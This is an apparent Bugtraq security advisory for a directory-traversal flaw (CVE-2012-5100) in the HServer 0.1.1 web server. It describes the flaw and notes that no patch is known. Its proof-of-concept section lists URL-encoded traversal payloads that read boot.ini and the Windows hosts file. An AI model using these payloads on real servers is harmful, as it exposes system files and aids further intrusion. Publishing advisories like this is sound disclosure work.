HServer Directory Traversal Vulnerability

BID:51286

Info

HServer Directory Traversal Vulnerability

Bugtraq ID: 51286
Class: Input Validation Error
CVE: CVE-2012-5100
Remote: Yes
Local: No
Published: Jan 05 2012 12:00AM
Updated: Sep 25 2012 02:10PM
Credit: demonalex
Vulnerable: HServer HServer 0.1.1
Not Vulnerable:

Discussion

HServer Directory Traversal Vulnerability

HServer web server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.

HServer 0.1.1 is vulnerable; other versions may also be affected.

Exploit / POC

HServer Directory Traversal Vulnerability

An attacker can exploit this issue with a web browser.

The following example URLs are available:

http://www.example.com/..%5c..%5c..%5cboot.ini
http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts

Solution / Fix

HServer Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

HServer Directory Traversal Vulnerability

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